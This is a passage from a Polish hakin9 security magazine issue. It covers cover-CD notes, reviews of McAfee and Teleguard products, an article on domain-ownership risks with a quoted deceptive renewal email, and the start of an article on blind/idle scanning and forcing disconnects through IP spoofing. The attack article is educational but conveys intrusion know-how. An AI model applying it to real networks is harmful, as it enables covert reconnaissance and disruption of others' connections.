je z Windows Vista.

Stellar Phoenix Windows Recovery

Program służy do odzyskiwania danych z dysków twar-
dych Windows 9x/ME/NT/2000/XP/2003/Vista. Sys-
temy plików, które obsługuje, to: FAT 16/32, NTFS,
NTFS5. Dane możemy odzyskiwać także z dysków
sformatowanych, z zaginionych lub uszkodzonych par-
tycji oraz dysków logicznych. Udaje się odzyskać za-
równo utracone foldery, jak i pliki. Program radzi sobie
bardzo dobrze także z plikami, które zostały już usu-
nięte, a miejsce po nich nadpisane. Narzędzie spraw-
dzi wszystkie media, które zdefiniujemy, w poszukiwa-
niu utraconych danych, po czym wyświetli je w drze-
wie według typu pliku. Rozpoznaje ponad 300 różnych
typów plików, w tym dokumenty procesora tekstu, ar-
kusza kalkulacyjnego, pliki graficzne, multimedia, ko-
dy źródłowe itp. Media, z których możemy odzyskać
dane to:

• dyski twarde,
• dyskietki,
• napędy ZIP,
• dyski/pamięci USB.

Program wymaga co najmniej 32 MB pamięci RAM. Opis
procesu instalacji i aktywacji znajduje się w pliku teksto-
wym na płycie CD.

Drogi Czytelniku, masz trzy miesiące (do marca 2008),
aby zarejestrować program. Następnie otrzymasz pełną
wersję programu bez ograniczeń czasowych. l

Rysunek 1.

Recovery Options

Licencja dla oprogramowania Dr.Web

• Licencję dla oprogramowania Dr.Web Anti-Virus, dołą-

czonego do numeru 11/2007 hakin9, można uzyskać po
rejestracji na stronie dystrybutora: www.doctorweb.com.pl/
hakin9
, używając kodu promocyjnego: AVL-32.

• Licencję dla oprogramowania Dr.Web For File Servers

można uzyskać po rejestracji na stronie dystrybutora:
www.doctorweb.com.pl/hakin9, używając kodu promo-
cyjnego: AVF-32.

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,

sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

14

Narzędzia

hakin9 Nr 01/2008

www.hakin9.org

Z przodu pudełka producent umieścił spis podstawowych
składników zestawu, w którego skład wchodzą: skaner
antywirusowy VirusScan, skaner antyspyware'owy, fire-
wall Personal Firewall
Plus, program optymalizujący
działanie systemu, program do wykonywania kopii zapa-
sowych DataBackup, filtr antyspamowy SpamKiller oraz
program kontroli rodzicielskiej. Dodatkowo producent
dostarcza plugin do przeglądarki – McAfee SiteAdvisor,
który podpowiada, czy aktualnie odwiedzana strona jest
bezpieczna dla naszego komputera.

Zatem kupując program powinniśmy otrzymać wszyst-

ko, co potrzebne do ochrony domowego komputera.
Na pudełku zostały podane także minimalne wymagania
systemowe.

W pudełku otrzymujemy krótką instrukcję McAfee

Quick Start Guide w językach: angielskim, niemieckim,
francuskim, holenderskim, hiszpańskim, brazylijskim,
włoskim, fińskim, szwedzkim, norweskim, czeskim, pol-
skim
i tureckim, a także płytę CD z oprogramowaniem
i pełną wersją instrukcji w języku zgodnym z językiem
zakupionego programu.

Do instalacji potrzebujemy: systemu Microsoft Win-

dows 2000, XP lub Vista, procesora taktowanego szyb-
kością minimum 500MHz, 256MB pamięci RAM oraz
około 150MB miejsca na dysku twardym.

Program jest wyposażony w wygodny instalator,

który prowadzi użytkownika krok po kroku poprzez
proces instalacji. Przed instalacją jest wykonywane ska-
nowanie plików systemowych oraz aktualnie urucho-
mionych programów. Niestety, podczas instalacji skład-
ników systemu możemy dowiedzieć się tylko, czy dany
składnik jest już zainstalowany lub czy dopiero oczeku-
je na instalację.

Po zakończeniu procesu instalacji programu

znajdziemy jego ikonkę w zasobniku systemowym.
Po wykonaniu podwójnego kliknięcia program System-
Center
rozpoczyna inicjalizację, a w wypadku pierwsze-
go uruchomienia wyświetlane jest także okno z prośbą
o rejestrację oprogramowania.

Do rejestracji wymagane jest podanie jedynie imie-

nia, nazwiska, adresu e-mail oraz wymyślonego przez
nas hasła. Po instalacji program aktualizuje komponen-
ty oraz prosi nas o restart komputera. Po kliknięciu na
ikonę M w zasobniku systemowym otwiera się panel ste-

rowania całym systemem. W głównej części programu
widzimy informacje o stanie ochrony, natomiast z lewej
strony dostępne jest menu opcji. Do wyboru są dwa
interfejsy menu – podstawowy (prostszy) oraz zaawan-
sowany.

W menu podstawowym otrzymujemy dostęp

do aktualizacji sygnatur baz wirusów, skanowania
całego komputera, opcji optymalizujących komputer
oraz możliwości zablokowania całego ruchu sieciowe-
go. Menu zaawansowane pozwala natomiast na dokład-
ną konfigurację systemu.

Możemy dowiedzieć się, jakie zdarzenia miały miej-

sce w naszym komputerze (akcje antywirusa i zapory),
mamy dostęp do kwarantanny oraz możliwość odzyska-
nia plików, które zostały niesłusznie oznaczone jako
zainfekowane. Możemy sprawdzić także, które progra-
my generują najwięcej ruchu sieciowego.

Działająca w tle ochrona zapewniana przez pro-

gram nie spowalnia w zauważalnym stopniu kompute-
ra z procesorem Duron 1350+ oraz 1GB pamięci DDR
RAM.

W przypadku posiadania sieci routowanej przez kom-

puter z firewallem McAfee należy wyłączyć zaporę w celu
udostępniania Internetu innym komputerom.

Damian Klimek

Producent: McAfee

System: Windows 2000, Windows XP, Windows Vista

Typ: Internet Security Suite

Strona producenta: http://www.mcafee.com/pl/

Ocena: 5/5

Internet Security Suite

Rysunek 1.

Internet Security Suite

background image

15

hakin9 Nr 01/2008

www.hakin9.org

Narzędzia

Przy zakupie programu w zestawie dostajemy nastę-
pujące aplikacje: Teledisk (niestety, w wersji angiel-
skiej), Teleguard zawierający programy: Telesafe (służy
do zabezpieczania haseł) i Telelogin – pozwalający
dodatkowo zabezpieczyć konto w Windowsie przy użyciu
sprzętowego tokena. Do dyspozycji mamy też Teletoken
Manager – program służący do konfiguracji tokena oraz
wtyczkę Telezip i dodatek Teleshell, umożliwiający inte-
grację z systemem Windows. Najbardziej atrakcyjnym
elementem całego pakietu jest token sprzętowy, który
możemy sobie sami skonfigurować. Instalacja systemu
przebiega bezproblemowo – przynajmniej przy wyko-
rzystaniu systemu Windows XP. Instalator przeprowa-
dza użytkownika krok po kroku przez cały proces, a inte-
rakcja odbywa się w języku polskim. Pomoc w pakiecie
także jest zadowalająca, jednakże dobre wrażenie cało-
ści trochę psuje nieprzetłumaczona pomoc dla progra-
mu Teledisk. Pakiet bez problemu integruje się z syste-
mem Windows XP, pozwala nam łatwo zaszyfrować pliki
przy korzystaniu z menu kontekstowego, daje również
możliwość wzmocnienia ochrony poprzez użycie tokena
sprzętowego. A teraz przyjrzyjmy się poszczególnym
aplikacjom dostępnym w pakiecie.

Konfiguracja tokena za pomocą programu Teleto-

ken Manager odbywa się w sposób całkowicie bezbole-
sny. Kreator prowadzi nas niemalże za rączkę, pewnym
minusem jest tylko fakt, że kod PUK trzeba zapisać ręcz-

nie – brakuje opcji zapisu do pliku konfiguracji. Z drugiej
strony, ze względów bezpieczeństwa to pozytywne zacho-
wanie, ponieważ nikt nam nie wykradnie kodu razem
z plikiem. Gorzej będzie, jak zapisany numer schowamy
w jakiejś książce, którą odłożymy na półkę.

Istnieje możliwość naprawy tokena, jeżeli coś się

w nim zepsuje. Program Telezip pozwala na wzmocnie-
nie ochrony plików archiwizowanych, aczkolwiek dosta-
jemy go w takim formacie, że możemy mieć problem
z otwarciem archiwum na komputerze bez Telezipa.
Telelogin jest interesującą aplikacją, która pozwoli choć
trochę wzmocnić ochronę Twoich danych w profilu, daje
on możliwość stworzenia hasła rezerwowego w przypad-
ku zgubienia tokena, natomiast nie chroni nas przed użyt-
kownikiem, który zaloguje się do systemu na inne konto
z uprawnieniami administratora – ma wtedy możliwość
podejrzenia naszych plików. Niedopracowany jest pro-
gram Teledisk – kreatory są w języku polskim, a menu
w języku angielskim. Nie wiem dlaczego, może tylko mnie
trafiła się taka niewykończona wersja? Aplikacja pozwala
nam tworzyć ukryte wolumeny w oparciu o różne algoryt-
my szyfrowania, pozwalając uchronić cenne dane przed
atakami z zewnątrz.

Ogólnie pakiet wykorzystuje do szyfrowania głównie

algorytm AES, nazywany również Rijndael. Podsumowu-
jąc – mamy do czynienia z dobrym zestawem programów
zabezpieczających, który wymaga jednakże ostateczne-
go dopracowania i zwiększenia automatyzmu działania.

Jarosław Peterko

Teleguard

Producent: TeleVox

System: Windows 2000/2003/XP

Typ: Teleguard

Strona producenta: www.televox.pl

Ocena: 4/5

Rysunek 2.

Konfiguracja Teleloginu

Rysunek 3

.Sprzętowy Token

background image

www.hakin9.org

hakin9 Nr 01/2008

16

Początki

P

odczas rejestracji domeny należy podać
swoje dane osobowe (imię i nazwisko, ad-
res, telefon, e-mail). Te dane są dostępne

w publicznej bazie WHOIS. Dzięki nim można się
skontaktować z właścicielem domeny, nawet je-
śli na stronie internetowej nie podano żadnych da-
nych kontaktowych. W bazie WHOIS, oprócz da-
nych adresowych właściciela domeny, są też inne
informacje: nazwa i adres firmy, w której domena
była rejestrowana, data rejestracji domeny i data
jej ważności (domenę rejestruje się na rok czasu,
jednak można od razu zapłacić za kilka lat z góry).
Gdy ważność domeny dobiega końca, należy wy-
kupić kolejny rok abonamentu, albo po upłynięciu
terminu ważności domena zostanie usunięta.

Jeśli stwierdzisz, że konkretny rejestrator

domeny Tobie nie odpowiada np. biuro obsługi
klienta jest do niczego, albo ceny są zbyt wyso-
kie, możesz taką domenę przenieść do innego
rejestratora. Zazwyczaj takie przeniesienie jest
darmowe, ale trzeba zapłacić za koszt rocznego
utrzymania domeny, której ważność zostanie au-
tomatycznie przedłużona. Aby przenieść dome-
nę, należy ją odbezpieczyć w panelu administra-
cyjnym. Domyślnie domeny są zabezpieczone,
dzięki czemu nikt nie przetransferuje cudzej do-
meny. Aby przenieść niektóre domeny (np. *.biz,

*.info), oprócz ich odbezpieczenia należy znać
kod auth-info (jest to coś w rodzaju hasła, któ-
re zna obecny rejestrator domeny – kod ma za
zadanie utrudnić przeniesienie domeny osobie,
która nie jest jej właścicielem).

Jak sprawdzić dane

właściciela domeny

Jeśli chcesz sprawdzić dane właściciela domeny,
powinieneś skorzystać z serwisu www.whois.net.

Domeny – zagrożenia

i ich skutki

Damian Daszkiewicz

stopień trudności

Posiadanie własnej domeny internetowej to nie tylko prestiż.

To również szereg różnego rodzaju zagrożeń np. otrzymywanie

zwiększonej ilości SPAMu, czy możliwość kradzieży domeny.

Z artykułu dowiesz się

• co to jest WHOIS i w jaki sposób skontakto-

wać się z właścicielem domeny, jeśli na stronie
WWW nie ma informacji kontaktowych,

• jak przenieść domenę od obecnego do innego

rejestratora,

• jak niektóre firmy podkradają klientów przy

przedłużaniu ważności domeny.

Co powinieneś wiedzieć

• czym jest domena,
• znać podstawowe informacje związane z reje-

stracją domeny internetowej.

background image

Zagrożenia związane z posiadaniem domeny

hakin9 Nr 01/2008

www.hakin9.org

17

W przypadku, gdy chcesz sprawdzić
dane właściciela jakiejś polskiej dome-
ny innej niż z końcówką .pl (np. com.pl,
net.pl
), odpowiednim serwisem jest
http://www.dns.pl/cgi-bin/whois.pl.

Gdyby te strony nie działały, moż-

na sprawdzić dane właściciela do-
meny w niektórych serwisach, które
umożliwiają rejestrację domeny. Po-
jawi się wtedy informacja, że podana
domena jest zajęta, a w części serwi-
sów pojawi się dodatkowo możliwość
sprawdzenia, kto jest jej właścicielem.

Jeśli masz zainstalowany sys-

tem operacyjny Linux, to problem jest
jeszcze mniejszy – wystarczy w termi-
nalu wpisać polecenie

whois nazwa _

domeny

, np.

whois daszkiewicz.net

Rysunek 1. przedstawia fragment

danych z bazy WHOIS dla domeny
google.com. Jak widzisz, są tam po-
dane dane adresowe firmy Google.
Natomiast Rysunek 2. przedstawia
fragment danych z bazy WHOIS dla
domeny daszkiewicz.net. Ponieważ
wykupiłem opcję ID Protect, nie widać
moich danych osobowych (poza imie-
niem, nazwiskiem i tymczasowym ad-
resem e-mail).

Bezpieczeństwo

Jeśli posiadasz popularną domenę,
może się zdarzyć, że ktoś będzie chciał
ją ukraść. Chyba nie muszę tutaj pisać

o tak elementarnych zasadach bezpie-
czeństwa, jak nie podawanie nikomu
loginu i hasła do panelu administracyj-
nego, czy kodu

auth-info

.

Niebezpieczna

funkcja catch-all

Podczas parkowania domeny na
serwerze można uaktywnić funkcję

catch-all

. Oznacza to, że cokolwiek

się wpisze przed @nazwa_domeny
to wiadomość e-mail dojdzie do Cie-
bie na domyślny adres e-mail. Z po-
zoru jest to bardzo wygodna funk-
cja – nie trzeba tworzyć kilku kont
e-mailowych (np. kontakt@nazwa_
domeny
, admin@nazwa_domeny).
Niestety, spamerzy monitorują in-
ternet w poszukiwaniu nowo zareje-
strowanych domen i próbują wysyłać
SPAM na adresy: sales@nazwa_
domeny
,

contact@nazwa_domeny,

webmaster@nazwa_domeny info@
nazwa_domeny
itp. Dlatego proponu-
ję wyłączyć funkcję

catch-all

i założyć

kilka zwykłych adresów e-mail.

Z drugiej strony funkcja

catch-all

jest bardzo przydatna: jeśli ktoś pi-
sząc do Ciebie e-mail popełni lite-
rówkę przed znakiem małpy to wtedy
taki e-mail i tak do Ciebie dojdzie.

Zwiększona

ilość SPAMu

Posiadając domenę musisz się liczyć
z otrzymywaniem zwiększonej ilości
SPAMu. Spamerzy monitorują inter-
net w poszukiwaniu nowych domen
i pobierają z bazy WHOIS adresy do
webmasterów. Dlatego podczas reje-
stracji domeny proponuję nie poda-

Otrzymany e-mail

Należy odnowić domenę XXX
Twoja domena XXX ulegnie przedawnieniu za 90 dni.
Możesz automatycznie odnowić domenę z NAZWA FIRMY.
Kliknij odnośnik w emailu, aby przedłużyć ważność domeny na następny rok. Powi-
nieneś odnowić rejestrację najszybciej jak to możliwe aby pozostała zarejestrowa-
na na Twoje dane. Kliknij tutaj, aby przedłużyć ważność domeny http://www.NAZWA
FIRMY.com/for.php?d=XXX.
Jak tylko otrzymamy Twoją płatność prześlemy wiadomość, potwierdzającą, że waż-
ność Twojej domeny została przedłużona. Usługi i informacje związane z NAZWA FIR-
MY. NAZWA FIRMY zarządza adresami, rejestracją, przedsięwzięciami i władzami za-
rządzającymi własnoscią domen internetowych. Informujemy przedsiebiorstwa, które
domeny są zarejestrowane i przypominamy im jeśli, domena może ulec przedawnieniu
lub jeśli nadchodzi czas, aby odnowić rejestrację domeny. Jeśli chcesz, aby NAZWA
FIRMY przedłużył rejestrację, kliknij w odnośnik zawarty w tym emailu. Jeśli nie chcesz
używać nazwy domeny po jej wygaśnięciu, możesz skasować tę wiadomość. Żadna in-
formacja nie zmieni się w bazie WHOIS po przedłużeniu ważności domeny przez NA-
ZWA FIRMY. Ważność domeny przedłuży się o jeden rok, będziesz mógł kontynuować
współpracę z dotychczasowym dostawcą. Możesz także poprosić swojego ISP o prze-
dłużenie ważności domeny. W wypadku jakichkolwiek pytań prosimy o kontakt z na-
szym centrum obsługi klienta pod adresem email support@NAZWA FIRMY.com

Rysunek 1.

Dane z bazy WHOIS dla domeny google.com

background image

hakin9 Nr 01/2008

www.hakin9.org

Początki

18

wać głównego adresu e-mail. Zawsze
można założyć darmowe konto pocz-
towe w jakimś portalu i sprawdzać na-
nim pocztę dość sporadycznie. Gdy
sie okaże, że na to konto przychodzi
zbyt wiele SPAMu to wtedy należy za-
rejestrować nowe konto pocztowe i do-
konać zmian w bazie WHOIS.

Uwaga: musisz od czasu do cza-

su odbierać pocztę z tamtego konta,
gdyż czasami na taki adres e-ma-
il może przyjść jakaś ważna wiado-
mość np. przypomnienie o koniecz-
ności odnowienia domeny.

Regularnie spawdzaj,

kiedy domena wygaśnie

Domenę rejestruje się na okres mini-
mum 1 roku. Gdy okres ważności do-
meny zbliża się ku końcowi, należy za-
płacić za odnowienie domeny, czy-
li przedłużenie jej ważności o kolej-
ny rok. Każdy poważny rejestrator wy-
syła np. 30 dni przed końcem ważno-
ści domeny informację o konieczności

odnowienia domeny. Jednak zdarza-
ją się przypadki niepoważnych reje-
stratorów, którzy takich przypomnień
nie wysyłają. Poza tym email z przy-
pomnieniem może nie dojść. Dlatego
dla własnego bezpieczeństwa zanotuj

kiedy domena traci ważność. Można
w tym celu wykorzystać program przy-
pominający o zbliżających się roczni-
cach – większość komórek posiada
tego typu aplikacje. Ponieważ przelew
może iść kilka dni, nie zostawiaj przy-
krego obowiązku płacenia na ostatni
dzień. Polecam płacić najpóźniej ty-
dzień przed dniem zero.

Jeśli minie okres ważności domeny,

istnieje możliwość odzyskania domeny.
Zazwyczaj okres od wygaśnięcia waż-
ności domeny do jej fizycznego skaso-
wania wynosi około 40 dni. Tutaj jednak
radzę uważać, gdyż niektóre firmy po-
bierają wyższe opłaty, gdy się spóźnisz
z odnowieniem domeny. Przykładowo,
pewna firma, w której odnowienie do-
meny globalnej kosztuje 8 dolarów po-
biera opłatę w wysokości około 100 do-
larów za odnowienie domeny, której
okres ważności dobiegł końca.

Praktyka pewnej firmy

Niedawno otrzymałem e-mail z infor-
macją, że jedna z moich domen wy-
gaśnie za mniej niż 90 dni. W e-ma-
ilu był link z prośbą o przedłużenie
ważności domeny, a na końcu wia-
domości znajdowała się interesują-
ca stopka z informacją, że firma, od
której dostałem e-mail, zajmuje się
rejestracją domen oraz pilnowaniem
i przedłużaniem ich terminów ważno-
ści. Oczywiście nie miałem nic wspól-
nego z tą firmą, ponieważ korzystam
z oferty innego usługodawcy. Aby by-
ło ciekawiej, koszt odnowienia glo-

Terminologia

• WHOIS – Informacje o domenach internetowych można uzyskać przy pomocy

WHOIS, czyli powszechnie dostępnej bazy danych o abonentach domen interne-
towych. WHOIS udostępnia następujące dane: nazwa abonenta domeny i adres
(w przypadku domen rejestrowanych w NASK – nie dotyczy to osób fizycznych, na
podstawie Dz. U. z dnia 29 sierpnia 1997 r.), nazwy serwerów, na które jest delego-
wana domena oraz dane obsługującego rejestratora.

• Transfer domeny – możliwość przeniesienia domeny pomiędzy rejestratorami.
• auth-info (auth-code) – niektóre domeny (np. *.biz, *.info) posiadają specjalny kod

auth-info, który zna tylko Twój rejestrator. Bez znajomości tego kodu nie można
przenieść domeny do innego rejestratora (jest to zabezpieczenie przed osobami,
które chciałyby ukraść komuś domenę, przenosząc ją do swojego rejestratora).

• ID Protect – opcja (zazwyczaj dodatkowo płatna) pozwalająca na ukrycie danych

adresowych właściciela domeny w bazie WHOIS.

catch-all

– jeśli funkcja catch-all jest aktywna to poczta adresowana wedle sza-

blonu dowolna_nazwa@domena jest kierowana na domyślną skrzynkę e-mail.

Rysunek 2.

Dane z bazy WHOIS dla domeny daszkiewicz.net

background image

Zagrożenia związane z posiadaniem domeny

balnej domeny wynosić miał prawie
50 euro, natomiast u mojego rejestra-
tora ta usługa kosztuje zaledwie 8 do-
larów.

Ta nieuczciwa firma liczy na to, że e-

mail przeczyta niezbyt rozgarnięta oso-
ba, która nie pamięta, u kogo rejestro-
wała domenę i zapłaci za usługę prze-
dłużenia jej ważności słono przy tym
przepłacając. Ramka Otrzymany e-ma-
il
przedstawia widomość, jaką otrzyma-
łem od takiej nieuczciwej firmy. Po prze-
czytaniu wiadomości e-mail widać, że
nie pojawiła się ani razu informacja, iż jej
nadawca jest moim obecnym rejestra-
torem domeny. Wiadomość została tak
sprytnie zredagowana, że można łatwo
dojść do takiego wniosku.

Jak się przed tym bronić?

Działalność tej firmy jest bardzo nie-
etyczna. Poza tym chyba nikt nie lubi
płacić więcej za produkty, które moż-
na kupić taniej. Mogę tutaj z czystym
sumieniem powiedzieć, że ta wątpliwej
reputacji firma wykrada klientów innym,
uczciwym usługodawcom. Warto pa-
miętać, w jakiej firmie była rejestrowa-

na konkretna domena. Dzięki temu, po
otrzymaniu takiej wiadomości będziesz
wiedział, że jej nadawcą nie jest firma,
z którą współpracujesz. Jeśli rejestru-
jesz domeny u różnych rejestratorów,
na zasadzie dzisiaj pójdę tam, gdzie jest
najciekawsza promocja
, koniecznie za-
pisuj w notatniku informacje dotyczą-
ce rejestracji każdej z domen. Ewen-
tualnie, w celu sprawdzenia tych da-
nych można skorzystać z bazy WHO-
IS. Ponieważ firma wysyła e-maile do
właścicieli domen, których termin waż-
ności upłynie za mniej niż 90 dni, waż-
ność domeny można przedłużyć np. na
100 dni przed jej przedawnieniem się –
i w ten sposób uniknąć spamerskich
wiadomości. Można również wykupić
usługę ukrywania prywatności – ID
Protect
(zwykle jest to dodatkowo płat-
na opcja, która kosztuje około 10 do-
larów za rok). Wtedy w bazie WHO-
IS nie będą podane Twoje dane adre-
sowe, natomiast będzie tam umiesz-
czony tymczasowy adres e-mail
(np.

aoamq7oz@nameprivacy.com)

który przekieruje pocztę na Twój praw-
dziwy adres e-mail. Wtedy w programie

pocztowym w polu do będzie podany
ten tymczasowy adres e-mail, więc bę-
dziesz wiedział, że nadawca wiadomo-
ści uzyskał go z bazy WHOIS. W przy-
padku domen z końcówką .pl, .com.pl
itp. sprawa jest prostsza, gdyż przy re-
jestracji domeny na osobę fizyczną nie
ma potrzeby umieszczania w bazie
WHOIS Twoich danych adresowych.

Podsumowanie

Jeśli otrzymasz jakąkolwiek wiado-
mość e-mail dotyczącą przedłużenia
domeny, sprawdź czy jest to e-mail
od firmy, w której masz zarejestrowa-
ną domenę. Możliwe, że w przyszło-
ści inne firmy będą próbowały w tak
sprytny sposób wykradać klientów,
dlatego zapisuj w notatniku z usług
jakich firm korzystasz. Jeśli nie jesteś
przekonany, czy dany e-mail pocho-
dzi od firmy w której masz wykupio-
ną domenę, znajdź fakturę za dome-
nę – powinien na niej być numer tele-
fonu do rejestratora domeny.

Warto również rozważyć opcję

wyłączenia funkcji

catch-all

, aby nie

otrzymywać zbyt wiele SPAMu. Je-
śli nie stać Cię na wykupienie opcji ID
Protect to w bazie WHOIS podaj swój
tymczasowy adres e-mail, który po-
rzucisz, gdy zaczniesz otrzymywać
zbyt wiele SPAMu. Nie zapomnij rów-
nież zapisać w terminarzu informacji,
kiedy ważność danej domeny dobie-
ga końca. l

O autorze

Damian Daszkiewicz jest samoukiem od wielu lat interesującym się informatyką
i e-biznesem. Obecnie studiuje na Politechnice Rzeszowskiej na kierunku Informaty-
ka. W roku 2003 wydawnictwo Helion opublikowało jego książkę Vademecum hake-
ra. Edycja plików binarnych
.
Kontakt z autorem: damian@daszkiewicz.net

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 01/2008

20

Atak

O

zaletach i celowości skanowania ni-
kogo chyba nie trzeba przekonywać.
Obecnie stosowanych technik ska-

nowania jest naprawdę mnóstwo. Większość
z nich jest zaimplementowana w programach
NMAP i AMAP. Skanery mogą używać technik
kamuflażu, które pozwalają na uniknięcie wy-
krycia. Niektórych z technik wykorzystanych
w wymienionych skanerach można użyć do
analizy połączeń ustanowionych pomiędzy
dwoma komputerami, a nawet doprowadzić do
ich rozłączenia.

Cel skanowania

Celem oczywiście jest poznanie usług dzia-
łających na skanowanym komputerze. Więk-
szość technik skanowania opiera się na wysy-
łaniu pakietów testujących i analizie odpowie-
dzi. Takie podejście ma jednak wadę – na ogół
ujawnia źródło skanowania – co niekoniecznie
jest korzystne dla naszego bezpieczeństwa,
a dodatkowo nic nie mówi o interesujących nas
połączeniach atakowanej maszyny. Sprawa
ma się nieco inaczej, jeżeli mamy możliwość
podsłuchiwania ruchu związanego ze ska-
nowanym komputerem. Możemy wtedy sfał-
szować adres źródłowy wysyłanych pakietów

i analizować odpowiedzi. Jeżeli nadarzy się ta-
ka niezwykle rzadka okazja, jak podsłuchiwa-
nie ruchu maszyny nienależącej do naszej sie-
ci, to należy wiedzieć, że istnieją lepsze techni-
ki skanowania, które dodatkowo nie ujawniają
naszej ciekawości. Taką techniką jest pasyw-
ny skan/fingerprinting. Używając tej metody
nie wysyłamy żadnych danych do skanowane-
go komputera, a jedynie analizujemy ruch prze-

Blind Attack

Konrad Malewski

stopień trudności

Skanowanie komputerów i odnajdywanie działających na

nich usług od zawsze było pasjonującym zajęciem, a techniki

odkrywania tajemnic zdalnej maszyny ewoluowały od bardzo

prostych tj. skanowania pakietami SYN, do bardzo finezyjnych

– jaką jest choćby technika blind scanning.

Z artykułu dowiesz się

• na czym polegają ataki blind scanning, blind

ARP scanning, blind RST,

• dlaczego losowość jest kluczowa dla bezpie-

czeństwa systemowego,

• o zasadzie działania niektórych mechanizmów

TCP/IP,

• jak wykorzystać Perla do pisania aplikacji sie-

ciowych.

Co powinieneś wiedzieć

• posługiwać się systemem opartym o jądro Li-

nuksa na poziomie użytkownika,

• znać podstawy Perla,
• znać podstawy TCP/IP.

background image

Blind Attack

hakin9 Nr 01/2008

www.hakin9.org

21

pływający od i do ofiary, co w więk-
szości przypadków zajmuje więcej
czasu niż przy aktywnym skanowa-
niu. Korzystając z tej techniki po-
znanie wszystkich otwartych portów
może być procesem długotrwałym,
który zależy wyłącznie od aktyw-
ności maszyny w sieci. Dla przykła-
du – jeśli nikt nie skorzysta z usłu-
gi SSH, nigdy nie wykryjemy obec-
ności tejże usługi.

Mając do dyspozycji wymienione

dwa sposoby, skanowanie aktywne
i pasywne, należałoby wybrać po-
między prędkością a jakością. Ak-
tywne skany dostarczają szybko do-
kładnych wyników w przeciwieństwie
do pasywnego skanowania, na któ-
rego wyniki należy czekać niekiedy
tygodniami. Pasywne skanowanie
jest bezpieczniejsze. Natomiast ak-
tywne najczęściej ujawnia adres źró-
dłowy skanera.

Klasyczne

skanowanie na ślepo

Skanowanie na ślepo (ang. blind
scanning
) jest inaczej zwane ska-
nowaniem jałowym (ang. idle scan-
ning
). Technika ta została zaim-
plementowana w programie nmap
i polega na wykorzystaniu trzecie-
go komputera do przeprowadzenia
skanowania. Komputer, który zosta-
nie użyty jako przykrywka powinien

pozostawać w stanie bezczynności
albo przynajmniej natężenie ruchu
wychodzącego nie powinno fluktu-
ować.

Zanim przejdziemy do szczegó-

łów, należy przeanalizować zacho-
wanie stosów IP oraz TCP w nie-
których przypadkach. Przypuści-
my, że posiadamy skonfigurowa-
ną sieć komputerów składającą się
z trzech jednostek znajdujących się
w tej samej sieci. Komputery te ma-
ją adresy 172.16.83.1, 172.16.83.128
oraz 172.16.83.129. Na pierwszym
i ostatnim zainstalowany jest system

Linux, a komputer z końcówką 128
działa pod kontrolą systemu Win-
dows Vista.

Naszym celem będzie prze-

rwanie połączenia pomiędzy kom-
puterem 172.16.83.129(A) a kom-
puterem 172.16.83.128(B) dyspo-
nując komputerem 172.16.83.1(C).
Nasze możliwości ograniczają się
do fałszowania adresu źródłowe-
go wychodzących pakietów. Prze-
stawiamy kartę sieciową kompu-
tera C w tryb promisc, aby nie od-
bierać wyłącznie pakietów z adre-
sem 172.16.83.1. Pomiędzy kompu-
terami A i B nawiązane jest połącze-
nie SSH (serwer działa na kompute-
rze A).

Obiektem naszego zaintereso-

wania będzie flaga ID protokołu IP.
Najpierw należy zaobserwować, jak
systemy operacyjne ustalają wartość
pola ID protokołu IP.

Znaczenie badanych pól znaj-

dziemy w ramce. Żeby dowiedzieć
się, jak poszczególne systemy usta-
lają wartość pola ID, należy przepro-
wadzić prosty eksperyment polega-
jący na wywołaniu na komputerze
C polecenia przedstawionego na Li-
stingu 2.

Przyjrzyjmy się polu ID, które jest

inkrementowane o jeden. Natomiast
w systemach linuksowych jest tak, jak
pokazuje Listing 3.

Pole ID jest ustawione na zero.

Możemy spróbować użyć protoko-

W Sieci

http://www.sys-security.com/archive/papers/Network_Scanning_Techniques.pdf

– opis technik skanowania,

http://insecure.org/nmap/man/man-port-scanning-techniques.html – techniki ska-

nowania wykorzystane w programie NMAP,

http://freeworld.thc.org/thc-amap – strona domowa skanera AMAP,
http://ettercap.sourceforge.net – narzędzie do ataków MITM,
http://lcamtuf.coredump.cx/p0f.shtml – najlepsze narzędzie do pasywnego skano-

wania,

http://www.faqs.org/rfcs/rfc793.html – dokumentacja opisująca TCP,
http://www.osvdb.org/reference/SlippingInTheWindow_v1.0.doc – analiza ataków

RST,

http://www.phrack.org/issues.html?issue=64 – opis wykorzystania IP ID do rozłą-

czania hostów,

http://insecure.org/nmap/idlescan.html – opis skanowania ślepego w NMAP,
http://packetstormsecurity.org/mag/keen/kv13.txt – artykuł o BARP scanning,
http://www.vanheusden.com/Linux/sp – bezpieczeństwo dla paranoików,
http://www.microsoft.com/technet/community/columns/cableguy/cg1105.mspx

– zmiany w nowym stosie TCP/IP Windows.

Tabela 1.

Początkowy rozmiar okna

System operacyjny

Początkowy rozmiar okna

Windows Vista

8192

Windows 2000 5.00.2195 SP4

64512

Windows XP Home Edition SP1

64240

Windows XP Professional SP2

65535

HP-UX11

32768

Nokia IPSO 3.6-FCS6

16384

Cisco 12.2(8)

16384

Cisco 12.1(5)

16384

Cisco 12.0(7)

16384

Cisco 12.0(8)

16384

Windows 2000 5.00.2195 SP1

16384

Windows 2000 5.00.2195 SP3

16384

Linux 2.4.18

5840

Linux 2.6.22

5840

background image

hakin9 Nr 01/2008

www.hakin9.org

Atak

22

łu ICMP. W tym celu dodajemy prze-
łącznik -1 do polecenia

hping2

. Powin-

niśmy zauważyć, że pola ID zarówno
systemu Windows, jak i Linux są inkre-
mentowane o jeden. Nie są to, tak jak
się mogliśmy spodziewać, liczby zu-
pełnie losowe. Należy przeprowadzić
dodatkowy eksperyment. Z kompute-
ra A wysyłamy pakiety ICMP ECHO
REQUEST do komputera B i vice ver-
sa, a potem przeprowadzamy ponow-
nie eksperyment wysyłając pakiety
z komputera C (patrz Listing 4).

Szybki rzut oka na funkcję

ip _

select _ ident

jądra systemu Linux

pozwoli nam odkryć tajemnicę te-
go zachowania. IP ID w Linuksie jest
wybierane w sposób losowy i ma in-
ne wartości dla komunikacji z po-
szczególnymi hostami i w obrębie
poszczególnych połączeń. W mo-
mencie wybrania IP ID dla danego
połączenia, ID kolejnych pakietów
jest zwiększane o jeden.

Systemy z rodziny Windows prze-

chowują globalny licznik pakietów,
który jest używany jako wartość po-
la ID w nagłówku IP. Dzięki temu me-
chanizmowi, można stwierdzić, czy
dany host wysłał pakiet, czy nie. Je-
